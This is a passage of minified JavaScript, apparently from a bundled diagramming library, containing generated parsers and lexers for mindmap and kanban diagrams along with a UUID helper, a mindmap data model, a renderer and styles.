input":"'"+(this.terminals_[oe]||oe)+"'"),this.parseError(Te,{text:F.match,token:this.terminals_[oe]||oe,line:F.yylineno,loc:U,expected:ne})}if(re[0]instanceof Array&&re.length>1)throw new Error("Parse Error: multiple actions possible at state: "+ue+", token: "+oe);switch(re[0]){case 1:A.push(oe),R.push(F.yytext),I.push(F.yylloc),A.push(re[1]),oe=null,J?(oe=J,J=null):(_=F.yyleng,E=F.yytext,D=F.yylineno,U=F.yylloc,O>0&&O--);break;case 2:if(Q=this.productions_[re[1]][1],K.$=R[R.length-Q],K._$={first_line:I[I.length-(Q||1)].first_line,last_line:I[I.length-1].last_line,first_column:I[I.length-(Q||1)].first_column,last_column:I[I.length-1].last_column},j&&(K._$.range=[I[I.length-(Q||1)].range[0],I[I.length-1].range[1]]),Z=this.performAction.apply(K,[E,_,D,G.yy,re[1],R,I].concat(B)),typeof Z<"u")return Z;Q&&(A=A.slice(0,-1*Q*2),R=R.slice(0,-1*Q),I=I.slice(0,-1*Q)),A.push(this.productions_[re[1]][0]),R.push(K.$),I.push(K._$),de=L[A[A.length-2]][A[A.length-1]],A.push(de);break;case 3:return!0}}return!0},"parse")},b=(function(){var S={EOF:1,parseError:o(function(k,A){if(this.yy.parser)this.yy.parser.parseError(k,A);else throw new Error(k)},"parseError"),setInput:o(function(w,k){return this.yy=k||this.yy||{},this._input=w,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var w=this._input[0];this.yytext+=w,this.yyleng++,this.offset++,this.match+=w,this.matched+=w;var k=w.match(/(?:\r\n?|\n).*/g);return k?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),w},"input"),unput:o(function(w){var k=w.length,A=w.split(/(?:\r\n?|\n)/g);this._input=w+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-k),this.offset-=k;var C=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),A.length-1&&(this.yylineno-=A.length-1);var R=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:A?(A.length===C.length?this.yylloc.first_column:0)+C[C.length-A.length].length-A[0].length:this.yylloc.first_column-k},this.options.ranges&&(this.yylloc.range=[R[0],R[0]+this.yyleng-k]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(w){this.unput(this.match.slice(w))},"less"),pastInput:o(function(){var w=this.matched.substr(0,this.matched.length-this.match.length);return(w.length>20?"...":"")+w.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var w=this.match;return w.length<20&&(w+=this._input.substr(0,20-w.length)),(w.substr(0,20)+(w.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var w=this.pastInput(),k=new Array(w.length+1).join("-");return w+this.upcomingInput()+` +`+k+"^"},"showPosition"),test_match:o(function(w,k){var A,C,R;if(this.options.backtrack_lexer&&(R={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(R.yylloc.range=this.yylloc.range.slice(0))),C=w[0].match(/(?:\r\n?|\n).*/g),C&&(this.yylineno+=C.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:C?C[C.length-1].length-C[C.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+w[0].length},this.yytext+=w[0],this.match+=w[0],this.matches=w,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(w[0].length),this.matched+=w[0],A=this.performAction.call(this,this.yy,this,k,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),A)return A;if(this._backtrack){for(var I in R)this[I]=R[I];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var w,k,A,C;this._more||(this.yytext="",this.match="");for(var R=this._currentRules(),I=0;Ik[0].length)){if(k=A,C=I,this.options.backtrack_lexer){if(w=this.test_match(A,R[I]),w!==!1)return w;if(this._backtrack){k=!1;continue}else return!1}else if(!this.options.flex)break}return k?(w=this.test_match(k,R[C]),w!==!1?w:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var k=this.next();return k||this.lex()},"lex"),begin:o(function(k){this.conditionStack.push(k)},"begin"),popState:o(function(){var k=this.conditionStack.length-1;return k>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(k){return k=this.conditionStack.length-1-Math.abs(k||0),k>=0?this.conditionStack[k]:"INITIAL"},"topState"),pushState:o(function(k){this.begin(k)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(k,A,C,R){var I=R;switch(C){case 0:return k.getLogger().trace("Found comment",A.yytext),6;break;case 1:return 8;case 2:this.begin("CLASS");break;case 3:return this.popState(),16;break;case 4:this.popState();break;case 5:k.getLogger().trace("Begin icon"),this.begin("ICON");break;case 6:return k.getLogger().trace("SPACELINE"),6;break;case 7:return 7;case 8:return 15;case 9:k.getLogger().trace("end icon"),this.popState();break;case 10:return k.getLogger().trace("Exploding node"),this.begin("NODE"),19;break;case 11:return k.getLogger().trace("Cloud"),this.begin("NODE"),19;break;case 12:return k.getLogger().trace("Explosion Bang"),this.begin("NODE"),19;break;case 13:return k.getLogger().trace("Cloud Bang"),this.begin("NODE"),19;break;case 14:return this.begin("NODE"),19;break;case 15:return this.begin("NODE"),19;break;case 16:return this.begin("NODE"),19;break;case 17:return this.begin("NODE"),19;break;case 18:return 13;case 19:return 22;case 20:return 11;case 21:this.begin("NSTR2");break;case 22:return"NODE_DESCR";case 23:this.popState();break;case 24:k.getLogger().trace("Starting NSTR"),this.begin("NSTR");break;case 25:return k.getLogger().trace("description:",A.yytext),"NODE_DESCR";break;case 26:this.popState();break;case 27:return this.popState(),k.getLogger().trace("node end ))"),"NODE_DEND";break;case 28:return this.popState(),k.getLogger().trace("node end )"),"NODE_DEND";break;case 29:return this.popState(),k.getLogger().trace("node end ...",A.yytext),"NODE_DEND";break;case 30:return this.popState(),k.getLogger().trace("node end (("),"NODE_DEND";break;case 31:return this.popState(),k.getLogger().trace("node end (-"),"NODE_DEND";break;case 32:return this.popState(),k.getLogger().trace("node end (-"),"NODE_DEND";break;case 33:return this.popState(),k.getLogger().trace("node end (("),"NODE_DEND";break;case 34:return this.popState(),k.getLogger().trace("node end (("),"NODE_DEND";break;case 35:return k.getLogger().trace("Long description:",A.yytext),20;break;case 36:return k.getLogger().trace("Long description:",A.yytext),20;break}},"anonymous"),rules:[/^(?:\s*%%.*)/i,/^(?:mindmap\b)/i,/^(?::::)/i,/^(?:.+)/i,/^(?:\n)/i,/^(?:::icon\()/i,/^(?:[\s]+[\n])/i,/^(?:[\n]+)/i,/^(?:[^\)]+)/i,/^(?:\))/i,/^(?:-\))/i,/^(?:\(-)/i,/^(?:\)\))/i,/^(?:\))/i,/^(?:\(\()/i,/^(?:\{\{)/i,/^(?:\()/i,/^(?:\[)/i,/^(?:[\s]+)/i,/^(?:[^\(\[\n\)\{\}]+)/i,/^(?:$)/i,/^(?:["][`])/i,/^(?:[^`"]+)/i,/^(?:[`]["])/i,/^(?:["])/i,/^(?:[^"]+)/i,/^(?:["])/i,/^(?:[\)]\))/i,/^(?:[\)])/i,/^(?:[\]])/i,/^(?:\}\})/i,/^(?:\(-)/i,/^(?:-\))/i,/^(?:\(\()/i,/^(?:\()/i,/^(?:[^\)\]\(\}]+)/i,/^(?:.+(?!\(\())/i],conditions:{CLASS:{rules:[3,4],inclusive:!1},ICON:{rules:[8,9],inclusive:!1},NSTR2:{rules:[22,23],inclusive:!1},NSTR:{rules:[25,26],inclusive:!1},NODE:{rules:[21,24,27,28,29,30,31,32,33,34,35,36],inclusive:!1},INITIAL:{rules:[0,1,2,5,6,7,10,11,12,13,14,15,16,17,18,19,20],inclusive:!0}}};return S})();x.lexer=b;function T(){this.yy={}}return o(T,"Parser"),T.prototype=x,x.Parser=T,new T})();z$.parser=z$;F2e=z$});function z2e(t,e=0){return(Aa[t[e+0]]+Aa[t[e+1]]+Aa[t[e+2]]+Aa[t[e+3]]+"-"+Aa[t[e+4]]+Aa[t[e+5]]+"-"+Aa[t[e+6]]+Aa[t[e+7]]+"-"+Aa[t[e+8]]+Aa[t[e+9]]+"-"+Aa[t[e+10]]+Aa[t[e+11]]+Aa[t[e+12]]+Aa[t[e+13]]+Aa[t[e+14]]+Aa[t[e+15]]).toLowerCase()}var Aa,G2e=N(()=>{"use strict";Aa=[];for(let t=0;t<256;++t)Aa.push((t+256).toString(16).slice(1));o(z2e,"unsafeStringify")});function V$(){if(!G$){if(typeof crypto>"u"||!crypto.getRandomValues)throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");G$=crypto.getRandomValues.bind(crypto)}return G$(Ett)}var G$,Ett,V2e=N(()=>{"use strict";Ett=new Uint8Array(16);o(V$,"rng")});var Stt,U$,U2e=N(()=>{"use strict";Stt=typeof crypto<"u"&&crypto.randomUUID&&crypto.randomUUID.bind(crypto),U$={randomUUID:Stt}});function Ctt(t,e,r){if(U$.randomUUID&&!e&&!t)return U$.randomUUID();t=t||{};let n=t.random??t.rng?.()??V$();if(n.length<16)throw new Error("Random bytes length must be >= 16");if(n[6]=n[6]&15|64,n[8]=n[8]&63|128,e){if(r=r||0,r<0||r+16>e.length)throw new RangeError(`UUID byte range ${r}:${r+15} is out of buffer bounds`);for(let i=0;i<16;++i)e[r+i]=n[i];return e}return z2e(n)}var H$,H2e=N(()=>{"use strict";U2e();V2e();G2e();o(Ctt,"v4");H$=Ctt});var q2e=N(()=>{"use strict";H2e()});var ch,TC,W2e=N(()=>{"use strict";Xt();q2e();gr();pt();La();qn();ch={DEFAULT:0,NO_BORDER:0,ROUNDED_RECT:1,RECT:2,CIRCLE:3,CLOUD:4,BANG:5,HEXAGON:6},TC=class{constructor(){this.nodes=[];this.count=0;this.elements={};this.getLogger=this.getLogger.bind(this),this.nodeType=ch,this.clear(),this.getType=this.getType.bind(this),this.getElementById=this.getElementById.bind(this),this.getParent=this.getParent.bind(this),this.getMindmap=this.getMindmap.bind(this),this.addNode=this.addNode.bind(this),this.decorateNode=this.decorateNode.bind(this)}static{o(this,"MindmapDB")}clear(){this.nodes=[],this.count=0,this.elements={},this.baseLevel=void 0}getParent(e){for(let r=this.nodes.length-1;r>=0;r--)if(this.nodes[r].level0?this.nodes[0]:null}addNode(e,r,n,i){X.info("addNode",e,r,n,i);let a=!1;this.nodes.length===0?(this.baseLevel=e,e=0,a=!0):this.baseLevel!==void 0&&(e=e-this.baseLevel,a=!1);let s=ge(),l=s.mindmap?.padding??ur.mindmap.padding;switch(i){case this.nodeType.ROUNDED_RECT:case this.nodeType.RECT:case this.nodeType.HEXAGON:l*=2;break}let u={id:this.count++,nodeId:sr(r,s),level:e,descr:sr(n,s),type:i,children:[],width:s.mindmap?.maxNodeWidth??ur.mindmap.maxNodeWidth,padding:l,isRoot:a},h=this.getParent(e);if(h)h.children.push(u),this.nodes.push(u);else if(a)this.nodes.push(u);else throw new Error(`There can be only one root. No parent could be found for ("${u.descr}")`)}getType(e,r){switch(X.debug("In get type",e,r),e){case"[":return this.nodeType.RECT;case"(":return r===")"?this.nodeType.ROUNDED_RECT:this.nodeType.CLOUD;case"((":return this.nodeType.CIRCLE;case")":return this.nodeType.CLOUD;case"))":return this.nodeType.BANG;case"{{":return this.nodeType.HEXAGON;default:return this.nodeType.DEFAULT}}setElementForId(e,r){this.elements[e]=r}getElementById(e){return this.elements[e]}decorateNode(e){if(!e)return;let r=ge(),n=this.nodes[this.nodes.length-1];e.icon&&(n.icon=sr(e.icon,r)),e.class&&(n.class=sr(e.class,r))}type2Str(e){switch(e){case this.nodeType.DEFAULT:return"no-border";case this.nodeType.RECT:return"rect";case this.nodeType.ROUNDED_RECT:return"rounded-rect";case this.nodeType.CIRCLE:return"circle";case this.nodeType.CLOUD:return"cloud";case this.nodeType.BANG:return"bang";case this.nodeType.HEXAGON:return"hexgon";default:return"no-border"}}assignSections(e,r){if(e.level===0?e.section=void 0:e.section=r,e.children)for(let[n,i]of e.children.entries()){let a=e.level===0?n:r;this.assignSections(i,a)}}flattenNodes(e,r){let n=["mindmap-node"];e.isRoot===!0?n.push("section-root","section--1"):e.section!==void 0&&n.push(`section-${e.section}`),e.class&&n.push(e.class);let i=n.join(" "),a=o(l=>{switch(l){case ch.CIRCLE:return"mindmapCircle";case ch.RECT:return"rect";case ch.ROUNDED_RECT:return"rounded";case ch.CLOUD:return"cloud";case ch.BANG:return"bang";case ch.HEXAGON:return"hexagon";case ch.DEFAULT:return"defaultMindmapNode";case ch.NO_BORDER:default:return"rect"}},"getShapeFromType"),s={id:e.id.toString(),domId:"node_"+e.id.toString(),label:e.descr,isGroup:!1,shape:a(e.type),width:e.width,height:e.height??0,padding:e.padding,cssClasses:i,cssStyles:[],look:"default",icon:e.icon,x:e.x,y:e.y,level:e.level,nodeId:e.nodeId,type:e.type,section:e.section};if(r.push(s),e.children)for(let l of e.children)this.flattenNodes(l,r)}generateEdges(e,r){if(e.children)for(let n of e.children){let i="edge";n.section!==void 0&&(i+=` section-edge-${n.section}`);let a=e.level+1;i+=` edge-depth-${a}`;let s={id:`edge_${e.id}_${n.id}`,start:e.id.toString(),end:n.id.toString(),type:"normal",curve:"basis",thickness:"normal",look:"default",classes:i,depth:e.level,section:n.section};r.push(s),this.generateEdges(n,r)}}getData(){let e=this.getMindmap(),r=ge(),i=eV().layout!==void 0,a=r;if(i||(a.layout="cose-bilkent"),!e)return{nodes:[],edges:[],config:a};X.debug("getData: mindmapRoot",e,r),this.assignSections(e);let s=[],l=[];this.flattenNodes(e,s),this.generateEdges(e,l),X.debug(`getData: processed ${s.length} nodes and ${l.length} edges`);let u=new Map;for(let h of s)u.set(h.id,{shape:h.shape,width:h.width,height:h.height,padding:h.padding});return{nodes:s,edges:l,config:a,rootNode:e,markers:["point"],direction:"TB",nodeSpacing:50,rankSpacing:50,shapes:Object.fromEntries(u),type:"mindmap",diagramId:"mindmap-"+H$()}}getLogger(){return X}}});var Att,Y2e,X2e=N(()=>{"use strict";pt();ep();Nf();Mf();La();Att=o(async(t,e,r,n)=>{X.debug(`Rendering mindmap diagram +`+t);let i=n.db,a=i.getData(),s=Vo(e,a.config.securityLevel);a.type=n.type,a.layoutAlgorithm=$c(a.config.layout,{fallback:"cose-bilkent"}),a.diagramId=e,i.getMindmap()&&(a.nodes.forEach(u=>{u.shape==="rounded"?(u.radius=15,u.taper=15,u.stroke="none",u.width=0,u.padding=15):u.shape==="circle"?u.padding=10:u.shape==="rect"&&(u.width=0,u.padding=10)}),await Qo(a,s),Ws(s,a.config.mindmap?.padding??ur.mindmap.padding,"mindmapDiagram",a.config.mindmap?.useMaxWidth??ur.mindmap.useMaxWidth))},"draw"),Y2e={draw:Att}});var _tt,Dtt,j2e,K2e=N(()=>{"use strict";eo();_tt=o(t=>{let e="";for(let r=0;r` + .edge { + stroke-width: 3; + } + ${_tt(t)} + .section-root rect, .section-root path, .section-root circle, .section-root polygon { + fill: ${t.git0}; + } + .section-root text { + fill: ${t.gitBranchLabel0}; + } + .section-root span { + color: ${t.gitBranchLabel0}; + } + .section-2 span { + color: ${t.gitBranchLabel0}; + } + .icon-container { + height:100%; + display: flex; + justify-content: center; + align-items: center; + } + .edge { + fill: none; + } + .mindmap-node-label { + dy: 1em; + alignment-baseline: middle; + text-anchor: middle; + dominant-baseline: middle; + text-align: center; + } +`,"getStyles"),j2e=Dtt});var Q2e={};dr(Q2e,{diagram:()=>Ltt});var Ltt,Z2e=N(()=>{"use strict";$2e();W2e();X2e();K2e();Ltt={get db(){return new TC},renderer:Y2e,parser:F2e,styles:j2e}});var q$,txe,rxe=N(()=>{"use strict";q$=(function(){var t=o(function(A,C,R,I){for(R=R||{},I=A.length;I--;R[A[I]]=C);return R},"o"),e=[1,4],r=[1,13],n=[1,12],i=[1,15],a=[1,16],s=[1,20],l=[1,19],u=[6,7,8],h=[1,26],f=[1,24],d=[1,25],p=[6,7,11],m=[1,31],g=[6,7,11,24],y=[1,6,13,16,17,20,23],v=[1,35],x=[1,36],b=[1,6,7,11,13,16,17,20,23],T=[1,38],S={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,mindMap:4,spaceLines:5,SPACELINE:6,NL:7,KANBAN:8,document:9,stop:10,EOF:11,statement:12,SPACELIST:13,node:14,shapeData:15,ICON:16,CLASS:17,nodeWithId:18,nodeWithoutId:19,NODE_DSTART:20,NODE_DESCR:21,NODE_DEND:22,NODE_ID:23,SHAPE_DATA:24,$accept:0,$end:1},terminals_:{2:"error",6:"SPACELINE",7:"NL",8:"KANBAN",11:"EOF",13:"SPACELIST",16:"ICON",17:"CLASS",20:"NODE_DSTART",21:"NODE_DESCR",22:"NODE_DEND",23:"NODE_ID",24:"SHAPE_DATA"},productions_:[0,[3,1],[3,2],[5,1],[5,2],[5,2],[4,2],[4,3],[10,1],[10,1],[10,1],[10,2],[10,2],[9,3],[9,2],[12,3],[12,2],[12,2],[12,2],[12,1],[12,2],[12,1],[12,1],[12,1],[12,1],[14,1],[14,1],[19,3],[18,1],[18,4],[15,2],[15,1]],performAction:o(function(C,R,I,L,E,D,_){var O=D.length-1;switch(E){case 6:case 7:return L;case 8:L.getLogger().trace("Stop NL ");break;case 9:L.getLogger().trace("Stop EOF ");break;case 11:L.getLogger().trace("Stop NL2 ");break;case 12:L.getLogger().trace("Stop EOF2 ");break;case 15:L.getLogger().info("Node: ",D[O-1].id),L.addNode(D[O-2].length,D[O-1].id,D[O-1].descr,D[O-1].type,D[O]);break;case 16:L.getLogger().info("Node: ",D[O].id),L.addNode(D[O-1].length,D[O].id,D[O].descr,D[O].type);break;case 17:L.getLogger().trace("Icon: ",D[O]),L.decorateNode({icon:D[O]});break;case 18:case 23:L.decorateNode({class:D[O]});break;case 19:L.getLogger().trace("SPACELIST");break;case 20:L.getLogger().trace("Node: ",D[O-1].id),L.addNode(0,D[O-1].id,D[O-1].descr,D[O-1].type,D[O]);break;case 21:L.getLogger().trace("Node: ",D[O].id),L.addNode(0,D[O].id,D[O].descr,D[O].type);break;case 22:L.decorateNode({icon:D[O]});break;case 27:L.getLogger().trace("node found ..",D[O-2]),this.$={id:D[O-1],descr:D[O-1],type:L.getType(D[O-2],D[O])};break;case 28:this.$={id:D[O],descr:D[O],type:0};break;case 29:L.getLogger().trace("node found ..",D[O-3]),this.$={id:D[O-3],descr:D[O-1],type:L.getType(D[O-2],D[O])};break;case 30:this.$=D[O-1]+D[O];break;case 31:this.$=D[O];break}},"anonymous"),table:[{3:1,4:2,5:3,6:[1,5],8:e},{1:[3]},{1:[2,1]},{4:6,6:[1,7],7:[1,8],8:e},{6:r,7:[1,10],9:9,12:11,13:n,14:14,16:i,17:a,18:17,19:18,20:s,23:l},t(u,[2,3]),{1:[2,2]},t(u,[2,4]),t(u,[2,5]),{1:[2,6],6:r,12:21,13:n,14:14,16:i,17:a,18:17,19:18,20:s,23:l},{6:r,9:22,12:11,13:n,14:14,16:i,17:a,18:17,19:18,20:s,23:l},{6:h,7:f,10:23,11:d},t(p,[2,24],{18:17,19:18,14:27,16:[1,28],17:[1,29],20:s,23:l}),t(p,[2,19]),t(p,[2,21],{15:30,24:m}),t(p,[2,22]),t(p,[2,23]),t(g,[2,25]),t(g,[2,26]),t(g,[2,28],{20:[1,32]}),{21:[1,33]},{6:h,7:f,10:34,11:d},{1:[2,7],6:r,12:21,13:n,14:14,16:i,17:a,18:17,19:18,20:s,23:l},t(y,[2,14],{7:v,11:x}),t(b,[2,8]),t(b,[2,9]),t(b,[2,10]),t(p,[2,16],{15:37,24:m}),t(p,[2,17]),t(p,[2,18]),t(p,[2,20],{24:T}),t(g,[2,31]),{21:[1,39]},{22:[1,40]},t(y,[2,13],{7:v,11:x}),t(b,[2,11]),t(b,[2,12]),t(p,[2,15],{24:T}),t(g,[2,30]),{22:[1,41]},t(g,[2,27]),t(g,[2,29])],defaultActions:{2:[2,1],6:[2,2]},parseError:o(function(C,R){if(R.recoverable)this.trace(C);else{var I=new Error(C);throw I.hash=R,I}},"parseError"),parse:o(function(C){var R=this,I=[0],L=[],E=[null],D=[],_=this.table,O="",M=0,P=0,B=0,F=2,G=1,$=D.slice.call(arguments,1),U=Object.create(this.lexer),j={yy:{}};for(var te in this.yy)Object.prototype.hasOwnProperty.call(this.yy,te)&&(j.yy[te]=this.yy[te]);U.setInput(C,j.yy),j.yy.lexer=U,j.yy.parser=this,typeof U.yylloc>"u"&&(U.yylloc={});var Y=U.yylloc;D.push(Y);var oe=U.options&&U.options.ranges;typeof j.yy.parseError=="function"?this.parseError=j.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function J(Be){I.length=I.length-2*Be,E.length=E.length-Be,D.length=D.length-Be}o(J,"popStack");function ue(){var Be;return Be=L.pop()||U.lex()||G,typeof Be!="number"&&(Be instanceof Array&&(L=Be,Be=L.pop()),Be=R.symbols_[Be]||Be),Be}o(ue,"lex");for(var re,ee,Z,K,ae,Q,de={},ne,Te,q,Ve;;){if(Z=I[I.length-1],this.defaultActions[Z]?K=this.defaultActions[Z]:((re===null||typeof re>"u")&&(re=ue()),K=_[Z]&&_[Z][re]),typeof K>"u"||!K.length||!K[0]){var pe="";Ve=[];for(ne in _[Z])this.terminals_[ne]&&ne>F&&Ve.push("'"+this.terminals_[ne]+"'");U.showPosition?pe="Parse error on line "+(M+1)+`: +`+U.showPosition()+` +Expecting `+Ve.join(", ")+", got '"+(this.terminals_[re]||re)+"'":pe="Parse error on line "+(M+1)+": Unexpected "+(re==G?"end of input":"'"+(this.terminals_[re]||re)+"'"),this.parseError(pe,{text:U.match,token:this.terminals_[re]||re,line:U.yylineno,loc:Y,expected:Ve})}if(K[0]instanceof Array&&K.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Z+", token: "+re);switch(K[0]){case 1:I.push(re),E.push(U.yytext),D.push(U.yylloc),I.push(K[1]),re=null,ee?(re=ee,ee=null):(P=U.yyleng,O=U.yytext,M=U.yylineno,Y=U.yylloc,B>0&&B--);break;case 2:if(Te=this.productions_[K[1]][1],de.$=E[E.length-Te],de._$={first_line:D[D.length-(Te||1)].first_line,last_line:D[D.length-1].last_line,first_column:D[D.length-(Te||1)].first_column,last_column:D[D.length-1].last_column},oe&&(de._$.range=[D[D.length-(Te||1)].range[0],D[D.length-1].range[1]]),Q=this.performAction.apply(de,[O,P,M,j.yy,K[1],E,D].concat($)),typeof Q<"u")return Q;Te&&(I=I.slice(0,-1*Te*2),E=E.slice(0,-1*Te),D=D.slice(0,-1*Te)),I.push(this.productions_[K[1]][0]),E.push(de.$),D.push(de._$),q=_[I[I.length-2]][I[I.length-1]],I.push(q);break;case 3:return!0}}return!0},"parse")},w=(function(){var A={EOF:1,parseError:o(function(R,I){if(this.yy.parser)this.yy.parser.parseError(R,I);else throw new Error(R)},"parseError"),setInput:o(function(C,R){return this.yy=R||this.yy||{},this._input=C,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var C=this._input[0];this.yytext+=C,this.yyleng++,this.offset++,this.match+=C,this.matched+=C;var R=C.match(/(?:\r\n?|\n).*/g);return R?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),C},"input"),unput:o(function(C){var R=C.length,I=C.split(/(?:\r\n?|\n)/g);this._input=C+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-R),this.offset-=R;var L=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),I.length-1&&(this.yylineno-=I.length-1);var E=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:I?(I.length===L.length?this.yylloc.first_column:0)+L[L.length-I.length].length-I[0].length:this.yylloc.first_column-R},this.options.ranges&&(this.yylloc.range=[E[0],E[0]+this.yyleng-R]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(C){this.unput(this.match.slice(C))},"less"),pastInput:o(function(){var C=this.matched.substr(0,this.matched.length-this.match.length);return(C.length>20?"...":"")+C.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var C=this.match;return C.length<20&&(C+=this._input.substr(0,20-C.length)),(C.substr(0,20)+(C.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var C=this.pastInput(),R=new Array(C.length+1).join("-");return C+this.upcomingInput()+` +`+R+"^"},"showPosition"),test_match:o(function(C,R){var I,L,E;if(this.options.backtrack_lexer&&(E={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(E.yylloc.range=this.yylloc.range.slice(0))),L=C[0].match(/(?:\r\n?|\n).*/g),L&&(this.yylineno+=L.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:L?L[L.length-1].length-L[L.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+C[0].length},this.yytext+=C[0],this.match+=C[0],this.matches=C,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(C[0].length),this.matched+=C[0],I=this.performAction.call(this,this.yy,this,R,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),I)return I;if(this._backtrack){for(var D in E)this[D]=E[D];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var C,R,I,L;this._more||(this.yytext="",this.match="");for(var E=this._currentRules(),D=0;DR[0].length)){if(R=I,L=D,this.options.backtrack_lexer){if(C=this.test_match(I,E[D]),C!==!1)return C;if(this._backtrack){R=!1;continue}else return!1}else if(!this.options.flex)break}return R?(C=this.test_match(R,E[L]),C!==!1?C:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var R=this.next();return R||this.lex()},"lex"),begin:o(function(R){this.conditionStack.push(R)},"begin"),popState:o(function(){var R=this.conditionStack.length-1;return R>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(R){return R=this.conditionStack.length-1-Math.abs(R||0),R>=0?this.conditionStack[R]:"INITIAL"},"topState"),pushState:o(function(R){this.begin(R)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(R,I,L,E){var D=E;switch(L){case 0:return this.pushState("shapeData"),I.yytext="",24;break;case 1:return this.pushState("shapeDataStr"),24;break;case 2:return this.popState(),24;break;case 3:let _=/\n\s*/g;return I.yytext=I.yytext.replace(_,"
